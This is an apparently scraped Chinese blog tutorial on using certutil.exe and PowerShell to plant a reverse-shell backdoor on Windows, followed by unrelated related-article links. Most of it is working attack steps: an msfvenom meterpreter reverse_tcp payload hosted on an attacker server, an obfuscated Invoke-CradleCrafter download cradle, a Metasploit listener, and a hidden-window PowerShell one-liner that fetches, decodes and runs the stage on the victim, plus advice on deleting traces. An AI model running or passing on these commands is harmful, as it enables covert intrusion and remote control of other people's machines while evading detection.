certutil 命令配合PS反弹后门
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
适用于:Windows Server 2012,Windows 10
1.使用Certutil.exe下载文件,下载完成以后一定记得delete 清理痕迹。
C:\> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log
C:\> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log delete
2.在应急中certutil也是常用工具之一,来对比文件hash,来判断疑似文件。
C:\> certutil -hashfile lyshark.log MD5
MD5 的 lyshark.log 哈希:
6f5902ac237024bdd0c176cb93063dc4
3.还可以对指定文件进行编码。编码后生成目标文件lyshark.bat
C:\> certutil -encode lyshark.log lyshark.bat
输入长度 = 12
输出长度 = 74
CertUtil: -encode 命令成功完成。
4.通过使用decode命令来完成解码。
C:\> certutil -decode lyshark.bat lyshark.log
输入长度 = 74
输出长度 = 12
CertUtil: -decode 命令成功完成。
附加:C:> bitsadmin /rawreturn /transfer down "http://lyshark.com/lyshark.exe" c:\lyshark.exe
以上的简介就是certutil工具的常用应用场景,而通过结合powershell的内存加载功能,则可把certutil的功能发挥到极致,接下来先来下载一个PS的加载框架。
PowerShell 混淆框架:https://github.com/danielbohannon/Invoke-CradleCrafter
1.在加载PowerShell脚本之前,先来进行数字签名,运行命令。
PS C:\Invoke-CradleCrafter> Set-ExecutionPolicy Bypass
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略? Y
2.使用方法,执行两条命令,加载框架。
PS C:\Invoke-CradleCrafter> Import-Module .\Invoke-CradleCrafter.ps1
PS C:\Invoke-CradleCrafter> Invoke-CradleCrafter
Invoke-CradleCrafter
_____ _ ,
\_ \_ ____ _____ | | _____ /( __________
/ /\/ '_ \ \ / / _ \| |/ / _ \_____ | >:==========`
/\/ /_ | | | \ V / (_) | < __/_____| )(
\____/ |_| |_|\_/ \___/|_|\_\___| ""
___ _ _ ___ __ _
/ __\ __ __ _ __| | | ___ / __\ __ __ _ / _| |_ ___ _ __
/ / | '__/ _` |/ _` | |/ _ \/ / | '__/ _` | |_| __/ _ \ '__|
/ /__| | | (_| | (_| | | __/ /__| | | (_| | _| || __/ |
\____/_| \__,_|\__,_|_|\___\____/_| \__,_|_| \__\___|_|
Tool :: Invoke-CradleCrafter
Author :: Daniel Bohannon (DBO)
Twitter :: @danielhbohannon
Blog :: http://danielbohannon.com
Github :: https://github.com/danielbohannon/Invoke-CradleCrafter
Version :: 1.1
License :: Apache License, Version 2.0
Notes :: If(!$Caffeinated) {Exit}
HELP MENU :: Available options shown below:
3.MSF攻击主机,生成payload,并将生成好的payload放入网站根目录,保证能够正常访问。
[root@localhost ~]# msfvenom -p windows/x64/meterpreter/reverse_tcp \
> lhost=192.168.1.30 lport=8888 -e cmd/powershell_base64 \
> -f psh -o lyshark.txt
[root@localhost ~]# cp -a lyshark.txt /var/www/html/
[root@localhost ~]# systemctl restart httpd
4.powershell 框架设置指定好的URL链接。
Invoke-CradleCrafter> set URL http://lyshark.com/lyshark.txt
Successfully set Url:
http://lyshark.com/lyshark.txt
5.分别执行以下命令完成初始化,这里如果报错请添加环境变量。
Invoke-CradleCrafter> MEMORY
Choose one of the below Memory options:
[*] MEMORY\PSWEBSTRING PS Net.WebClient + DownloadString method
[*] MEMORY\PSWEBDATA PS Net.WebClient + DownloadData method
[*] MEMORY\PSWEBOPENREAD PS Net.WebClient + OpenRead method
[*] MEMORY\NETWEBSTRING .NET [Net.WebClient] + DownloadString method (PS3.0+)
[*] MEMORY\NETWEBDATA .NET [Net.WebClient] + DownloadData method (PS3.0+)
[*] MEMORY\NETWEBOPENREAD .NET [Net.WebClient] + OpenRead method (PS3.0+)
[*] MEMORY\PSWEBREQUEST PS Invoke-WebRequest/IWR (PS3.0+)
[*] MEMORY\PSRESTMETHOD PS Invoke-RestMethod/IRM (PS3.0+)
[*] MEMORY\NETWEBREQUEST .NET [Net.HttpWebRequest] class
[*] MEMORY\PSSENDKEYS PS SendKeys class + Notepad (for the lulz)
[*] MEMORY\PSCOMWORD PS COM object + WinWord.exe
[*] MEMORY\PSCOMEXCEL PS COM object + Excel.exe
[*] MEMORY\PSCOMIE PS COM object + Iexplore.exe
[*] MEMORY\PSCOMMSXML PS COM object + MsXml2.ServerXmlHttp
[*] MEMORY\PSINLINECSHARP PS Add-Type + Inline CSharp
[*] MEMORY\PSCOMPILEDCSHARP .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
[*] MEMORY\CERTUTIL Certutil.exe + -ping Argument
Invoke-CradleCrafter\Memory> CERTUTIL
[*] Name :: Certutil
[*] Description :: PowerShell leveraging certutil.exe to download payload as string
[*] Compatibility :: PS 2.0+
[*] Dependencies :: Certutil.exe
[*] Footprint :: Entirely memory-based
[*] Indicators :: powershell.exe spawns certutil.exe certutil.exe
[*] Artifacts :: C:\Windows\Prefetch\CERTUTIL.EXE-********.pf AppCompat Cache
Invoke-CradleCrafter\Memory\Certutil> ALL
Choose one of the below Memory\Certutil\All options to APPLY to current cradle:
[*] MEMORY\CERTUTIL\ALL\1 Execute ALL Token obfuscation techniques (random order)
Invoke-CradleCrafter\Memory\Certutil\All> 1
Executed:
CLI: Memory\Certutil\All\1
FULL: Out-Cradle -Url 'http://lyshark.com/lyshark.txt' -Cradle 17 -TokenArray @('All',1)
Result:
SV 1O6 'http://lyshark.com/lyshark.txt';.(Get-Command *ke-*pr*) ((C:\Windows\System32\certutil /ping (Get-Item Variable:\1O6).Value|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1)-Join"`r`n")
Choose one of the below Memory\Certutil\All options to APPLY to current cradle:
[*] MEMORY\CERTUTIL\ALL\1 Execute ALL Token obfuscation techniques (random order)
6.将上方混淆后的内容保存为 crt.txt 然后进行encode加密
C:\Users\lyshark\Desktop>certutil -encode crt.txt crt.cer
输入长度 = 912
输出长度 = 1310
CertUtil: -encode 命令成功完成。
7.将生成的 crt.cet 放入服务器的根目录下,保证能够访问,然后运行msfconsole控制台,并侦听事件。
[root@localhost ~]# cp -a crt.cer /var/www/html/
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
8.最终靶机执行,以下命令。
powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\crt.cer (New‐Object Net.WebClient).DownloadString('http://lyshark.com/crt.cer'); certutil ‐decode %APPDATA%\crt.cer %APPDATA%\stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\crt.cer
certutil 命令配合PS反弹后门的更多相关文章
- 关于msf反弹后门的免杀Tips
msf是一个很强大的工具,我经常会在渗透用它来反弹shell,不过它生成的反弹后门会被不少杀软kill,这篇文章只是讲讲我在msf中一个简单的免杀小技巧 思路 我以前接触过一款python的远控,其实 ...
- Linux命令:ps / top
简介:ps - report a snapshot of the current processes. 用途:获取当前时刻程序运行状态 概要:ps [options] 类型:ps is hashed ...
- 每天一个linux命令(53)--ps命令
要毁掉一天,从早上开始. Linux中的ps命令是 process status 的缩写.ps 命令用来列出系统中当前运行的那些进程.ps 命令列出的是当前那些进程的快照,就是执行ps 命令的那个时刻 ...
- Linux命令之-ps & kill
1.ps:将某个进程显示出来: 常用命令 :ps -ef |grep Java 1)如下为加不加-e参数的区别 2.一般我们查找某个进程的目的就是把它杀掉,使用kill 命令. kill -9 564 ...
- linux命令学习——ps
1.命令简介 ps命令用来查看系统上的进程信息.要对进程进行监测和控制,首先必须要了解当前进程的情况,也就是需要查看当前进程,而 ps 命令就是最基本同时也是非常强大的进程查看命令.使用该命令可以确定 ...
- Linux命令:ps
Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信 ...
- linux 命令——41 ps(转)
Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信 ...
- Linux监控命令之==>ps
一.命令说明 ps 命令是最基本同时也是非常强大的进程查看命令.使用该命令可以确定有哪些进程正在运行和运行的状态.进程是否结束.进程有没有僵死.哪些进程占用了过多的资源等等.总之大部分信息都是可以通过 ...
- 每天一个linux命令:ps命令
Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进 ...
随机推荐
- PL/SQL中文乱码问题
本人的使用情况是: 笨既没有安装Oracle,配置了PLSQL,在查询含有中文数据的时候遇到了查询的数据中有中文乱码的问题,中文显示为???,并且软件的某些提示也会出现. 先进行查询确认编码: ...
- 【java测试】Junit、Mock+代码覆盖率
原文见此处 单元测试是编写测试代码,用来检测特定的.明确的.细颗粒的功能.单元测试并不一定保证程序功能是正确的,更不保证整体业务是准备的. 单元测试不仅仅用来保证当前代码的正确性,更重要的是用来保证代 ...
- ubuntu安装mysql 5.7
1.安装mysql sudo apt-get install mysql-client mysql-server 2.启动 service mysqld start 3.登陆 mysql -uroot ...
- 一、基础篇--1.2Java集合-HashMap死循环问题
为什么HashMap会出现死循环 首先,我们知道java的HashMap不是线程安全的.多线程下应该使用ConcurrentHashMap. HashMap底层是基于动态数组和单向链表(JDK1.7, ...
- CFS理论模型
参考资料:<调度器笔记>Kevin.Liu <Linux kernel development> <深入Linux内核架构> version: 2.6.32.9 下 ...
- Python:百科
ylbtech-Python:百科 Python是一种跨平台的计算机程序设计语言.是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越 ...
- GitHub:IBM
ylbtech-GitHub:IBM 1.返回顶部 2.返回顶部 3.返回顶部 4.返回顶部 5.返回顶部 1. https://github.com/ibm 2. 6.返回顶部 ...
- JavaScript中的bind,call和apply函数的用法和区别
一直没怎么使用过JavaScript中的bind,call和apply, 今天看到一篇比较好的文章,觉得讲的比较透彻,所以记录和总结如下 首先要理解的第一个概念,JavaScript中函数调用的方式, ...
- 数据中心网络架构的问题与演进 — Overlay 网络
目录 文章目录 目录 前文列表 数据中心网络架构演进回顾 Overlay 网络 Overlay 网络的优势 基于 VxLAN Overlay 的 Spine-Leaf 网络架构 参考文章 前文列表 & ...
- 计算机组成原理 — CPU 中央处理器
目录 文章目录 目录 前文列表 逻辑电路部件 组合逻辑电路 时序逻辑电路 阵列逻辑电路 中央处理器(CPU) 控制单元(控制器) 运算单元(运算器) 存储单元(寄存器组和片内缓存) CPU 的工作原理 ...